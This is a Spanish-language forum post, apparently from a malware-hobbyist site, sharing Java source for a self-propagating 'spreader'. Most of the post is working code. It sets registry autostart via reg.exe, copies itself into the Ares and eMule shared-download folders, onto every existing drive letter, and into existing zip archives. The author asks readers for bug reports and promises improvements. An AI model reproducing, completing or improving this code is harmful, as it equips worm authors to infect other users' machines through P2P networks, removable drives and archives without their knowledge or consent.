Mi pequeño spreader
Contiene:
-esRuta(File)
-autoInicioRegistro(File, String)
-spreadAres(File, String)
-spreadEmule(File, String)
-unidadesLogicas(File)
-unidadesLogicas(List<Character>, File)
-copiarDirectorio(File, File)
-copiarArchivo(File, File)
-unZip(File, File)
-meterseEnZip(File, File, File)
-ComprimeCarpeta(File, File)
-creaArchivo(String, String)
-borraCarpeta(File)
-creaFile(String)
EDITO: es muy importante decir que solo funcionará en windows porque uso reg.exe.
todos son metodos estaticos asi que solo tienen que pasarle o un string o un file, no mas.
SUERTE! y diganme fallos.
La mayoria de metodos devuelven un Boolean eso es para ver si funciona pero se puede quitar una vez comprobado que todo es correcto.
Ya tengo en mente mejoras...
Código: Seleccionar todo
package propagacion;
/*
* Source java hecho por Davidad para indetectables.
* Puedes hacer lo que qieras con esto, siempre y cuando mantengas la fuente
* del creador original.
*
*/
import java.io.BufferedReader;
import java.io.File;
import java.io.FileReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.StringWriter;
public class Registro {
private static Integer LINEA_EMULE = 5;
private static String ruta = "C:\\Archivos de programa\\eMule\\"
+ "config\\preferences.ini";
private static String INICIO = "reg add "
+ "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run";
private static String ARES = "reg query " + "HKCU\\Software\\Ares"
+ " /v Download.Folder";
// proximamente lo hare leyendo el registro
// private static final String EMULE = REGQUERY + "HKCU\\Software\\eMule"
// + " /v Install Path"; "\"clave con espacios\""
protected static Boolean autoInicio(File tuArchivo, String nombreRegistro) {
Boolean resul = false;
// Ejecutamos el reg.exe para manipular el registro de forma comoda.
try {
Runtime.getRuntime().exec(
INICIO + " /v " + nombreRegistro + " /d "
+ tuArchivo.getAbsolutePath());
resul = true;
} catch (Exception e) {
return null;
}
return resul;
}
protected static String getAresCarpeta() {
try {
Process process = Runtime.getRuntime().exec(ARES);
Stream reader = new Stream(process.getInputStream());
reader.start();
process.waitFor();
reader.join();
String result = reader.getResult();
int p = result.indexOf("REG_SZ");
result = result.substring(p + ("REG_SZ").length()).trim();
return convertHexToString(result, "5C", "5C5C");
} catch (Exception e) {
return null;
}
}
private static String convertHexToString(String hex, String reemplazado,
String reemplazador) {
StringBuilder a = new StringBuilder();
// reemplazamos "\" por "\\"
hex = hex.replaceAll(reemplazado, reemplazador);
for (int i = 0; i < hex.length() - 1; i += 2) {
// cortamos de 2 en 2
String c = hex.substring(i, (i + 2));
// convertimos a decimal
int decimal = Integer.parseInt(c, 16);
// de decimal a caracter.
a.append((char) decimal);
}
return a.toString();
}
protected static String getEmuleCarpeta() {
String lineas = "";
Integer borrar = 12; // => "Incomingdir=";
Integer i = 0;
try {
BufferedReader bf = new BufferedReader(new FileReader(ruta));
while ((lineas = bf.readLine()) != null) {
if (i.equals(LINEA_EMULE)) {
break;
} else {
i++;
}
}
lineas = lineas.substring(borrar);
} catch (Exception e) {
return "Hubo un fallo";
}
return lineas;
}
private static class Stream extends Thread {
private InputStream entrada;
private StringWriter salidaS;
Stream(InputStream s) {
entrada = s;
salidaS = new StringWriter();
}
public void run() {
try {
int c;
while ((c = entrada.read()) != -1)
salidaS.write(c);
} catch (IOException e) {
;
}
}
String getResult() {
return salidaS.toString();
}
}
}
Código: Seleccionar todo
package propagacion;
/*
* Source java hecho por Davidad para indetectables.
* Puedes hacer lo que qieras con esto, siempre y cuando mantengas la fuente
* del creador original.
*
*/
import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.util.LinkedList;
import java.util.List;
import java.util.zip.ZipEntry;
import java.util.zip.ZipInputStream;
import java.util.zip.ZipOutputStream;
public class Utiles {
// metodo que comprueba si existe la ruta
public static Boolean esRuta(File f) {
Boolean resul = false;
if (f.exists()) {
resul = true;
}
return resul;
}
public static Boolean autoInicioRegistro(File tuArchivo,
String nombreRegistro) {
return Registro.autoInicio(tuArchivo, nombreRegistro);
}
public static Boolean spreadAres(File tuPrograma, String nombrePropagarse) {
String ruta = Registro.getAresCarpeta();
File f = creaArchivo(ruta, nombrePropagarse);
return copiarArchivo(tuPrograma, f);
}
public static Boolean spreadEmule(File tuPrograma, String nombrePropagarse) {
String ruta = Registro.getEmuleCarpeta();
File f = creaArchivo(ruta, nombrePropagarse);
return copiarArchivo(tuPrograma, f);
}
// metodo sobrecargado que por defecto comprueba desde la A hasta la Z, si
// existen unidades logicas
public static List<Boolean> unidadesLogicas(File origen) {
// crea la lista en ejecucion
List<Character> letras = new LinkedList<Character>();
for (int i = 65; i <= 90; i++) {
Character c = (char) i;
letras.add(c);
}
return unidadesLogicas(letras, origen);
}
// metodo normal que comprueba las unidades que esten en la lista y si es
// true, copia tu archivo en ellas
public static List<Boolean> unidadesLogicas(List<Character> l, File origen) {
List<Boolean> resul = new LinkedList<Boolean>();
if (!origen.isFile()) {
return resul;
}
for (Character s : l) {
// si existe la unidad nos copiamos en ella, sino, no hacemos nada
File f = creaFile(s + ":\\");
if (esRuta(f)) {
resul.add(true);
copiarArchivo(origen, creaFile(s + ":\\" + origen.getName()));
} else {
resul.add(false);
}
}
return resul;
}
public static Boolean copiarDirectorio(File fOrigen, File fDestino) {
Boolean resul = false;
if (!fOrigen.isDirectory()) { // Comprobamos que el origen
resul = false; // sea un directorio
return resul; // sino lo es, devolvemos false
}
if (!fDestino.exists()) { // comprobamos que exista la carpeta destino,
// sino, la creamos
fDestino.mkdir();
}
if (!fDestino.isDirectory()) { // si el destino no es otra carpeta
resul = false;
return resul; // devolvemos false
}
File[] listado = fOrigen.listFiles(); // obtenemos todos los archivos
for (int i = 0; i < listado.length; i++) { // recorremos el array y
// vamos copiando los
// archivos en la carpeta
if (listado[i].isFile()) {
copiarArchivo(listado[i], creaFile(fDestino.getPath() + "\\"
+ listado[i].getName()));
resul = true;
} else if (listado[i].isDirectory()) {
copiarDirectorio(
listado[i],
creaFile(fDestino.getAbsolutePath() + "\\"
+ listado[i].getName()));
}
}
return resul;
}
public static Boolean copiarArchivo(File fOrigen, File fDestino) {
Boolean resul = false;
File z = fDestino;
String n = fDestino.getName();
if (!fOrigen.isFile()) {
return resul;
}
if (!fDestino.exists() && !n.contains(".")) {
fDestino.mkdir();
}
if (fDestino.isDirectory()) {
z = creaArchivo(fDestino.getAbsolutePath(), fOrigen.getName());
}
try {
// Declaramos flujo entrada
FileInputStream entrada = new FileInputStream(fOrigen);
// y el de salida
FileOutputStream salida = new FileOutputStream(z);
Integer c;
while ((c = entrada.read()) != -1)
// Leemos los datos del archivo y lo pasamos al otro
salida.write(c);
entrada.close();
salida.close();
resul = true; // si todo sale bien devolvemos true
} catch (Exception e) { // Si hay algun error devolvemos false;
resul = false;
}
return resul;
}
public static File[] unZip(File fOrigen, File fDestino) {
if (!fDestino.exists()) {
fDestino.mkdir();
}
if (!fDestino.isDirectory()) {
return null;
}
// No se muy bien en que influye poner numeros muy grandes, pero
// mientra mas pequeño, mas tarda en descomprimir
final Integer BUFFER = 2050;
try {
BufferedOutputStream destino = null;
FileInputStream entradaF = new FileInputStream(fOrigen);
ZipInputStream entradaZ = new ZipInputStream(
new BufferedInputStream(entradaF));
ZipEntry entry = new ZipEntry(fDestino.getAbsolutePath());
while ((entry = entradaZ.getNextEntry()) != null) {
int count;
byte data[] = new byte[BUFFER];
FileOutputStream fos = new FileOutputStream(
fDestino.getAbsolutePath() + "\\" + entry.getName());
destino = new BufferedOutputStream(fos, BUFFER);
while ((count = entradaZ.read(data, 0, BUFFER)) != -1) {
destino.write(data, 0, count);
}
destino.flush();
destino.close();
}
entradaZ.close();
} catch (Exception e) {
}
return fDestino.listFiles();
}
public static Boolean meterseEnZip(File fPropagar, File fDestino, File fZip) {
Boolean resul = copiarArchivo(fPropagar, fDestino);
unZip(fZip, fDestino);
resul = ComprimeCarpeta(fDestino, fZip);
borraCarpeta(fDestino);
return resul;
}
public static Boolean ComprimeCarpeta(File fOrigen, File fDestino) {
Boolean resul = false;
if (!fOrigen.isDirectory()) {
return null;
}
String[] archivos = fOrigen.list();
// Crea un buffer para la lectura de los archivos
byte[] buf = new byte[2500];
try {
// Creamos el Zip
ZipOutputStream out = new ZipOutputStream(new FileOutputStream(
fDestino));
// Comprimimos los archivos
for (int i = 0; i < archivos.length; i++) {
// Tenemos que pasarle un FileInputStream
FileInputStream in = new FileInputStream(
fOrigen.getAbsolutePath() + "\\" + archivos[i]);
// lo mete dentro// del zip
out.putNextEntry(new ZipEntry(archivos[i]));
// mover Bytes al archivo Zip
Integer len;
while ((len = in.read(buf)) > 0) {
out.write(buf, 0, len);
resul = true;
}
// cerramos el archivo
out.closeEntry();
in.close();
}
// cierra el archivo Zip.
out.close();
} catch (Exception e) {
resul = false;
}
return resul;
}
// Si queremos copiar un archivo a un directorio hay que llamar primero a
// esta funcion, que nos crea un archivo y nos devuelve su File
public static File creaArchivo(String destino, String nombre) {
String r = destino;
File f = creaFile(r + "\\" + nombre);
try {
f.createNewFile();
} catch (Exception e) {
}
return f;
}
public static void borraCarpeta(File fDestino) {
File[] ficheros = fDestino.listFiles();
for (int i = 0; i < ficheros.length; i++) {
if (ficheros[i].isDirectory()) {
borraCarpeta(ficheros[i]);
}
ficheros[i].delete();
fDestino.delete();
}
}
private static File creaFile(String s) {
File f = new File(s);
return f;
}